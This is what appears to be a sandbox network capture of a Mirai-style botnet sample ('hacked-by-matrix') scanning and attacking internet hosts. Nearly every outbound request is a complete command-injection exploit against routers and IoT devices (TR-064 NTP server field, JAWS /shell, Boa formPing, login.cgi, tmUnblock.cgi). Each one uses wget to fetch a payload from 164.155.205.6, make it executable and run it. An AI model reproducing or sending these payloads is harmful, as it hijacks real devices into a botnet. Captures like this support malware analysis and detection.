Mar 2, 2024 12:38:23.412045956 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1470	192.168.2.23	57364	63.228.108.46	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:23.502901077 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1471	192.168.2.23	36134	118.49.95.170	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:23.695394039 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:25.147222996 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1472	192.168.2.23	42136	64.233.176.112	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:24.578804016 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:24.690428972 CET	1286	IN	HTTP/1.0 400 Bad Request Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1555 Date: Sat, 02 Mar 2024 11:38:24 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 20 28 42 61 64 20 52 65 71 75 65 73 74 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 400 (Bad Request)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-devi
Mar 2, 2024 12:38:24.690444946 CET	450	IN	Data Raw: 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f Data Ascii: ce-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.go

Session ID	Source IP	Source Port	Destination IP	Destination Port
1473	192.168.2.23	37116	216.154.191.128	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:24.599337101 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:24.725194931 CET	512	IN	HTTP/1.0 400 Bad Request Content-Type: text/html Content-Length: 345 Connection: close Date: Thu, 15 Sep 2022 15:10:53 GMT Server: lighttpd/1.4.54 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 Bad Request</title> </head> <body> <h1>400 Bad Request</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1474	192.168.2.23	37434	62.29.1.243	1723

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:24.910676956 CET	269	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
1475	192.168.2.23	47234	186.210.34.14	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:24.950896025 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:29.144318104 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:35.291225910 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:47.317493916 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:47.565561056 CET	76	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1476	192.168.2.23	49404	152.168.78.8	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:24.950937986 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:29.144153118 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:35.291162968 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:47.317497015 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1477	192.168.2.23	33540	119.218.48.78	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:24.987917900 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:25.372570038 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1478	192.168.2.23	48804	212.76.121.237	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:25.043545008 CET	227	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:26.232496023 CET	227	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
1479	192.168.2.23	51624	190.96.189.201	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:25.530210972 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1480	192.168.2.23	44486	172.67.26.254	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:25.616039038 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1481	192.168.2.23	43366	172.105.5.27	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:25.642458916 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1482	192.168.2.23	51990	98.25.216.73	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:25.655426025 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1483	192.168.2.23	49316	98.183.106.188	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:25.686125994 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1484	192.168.2.23	36404	172.64.106.12	8080

Timestamp	Bytes transferred	Direction	Data
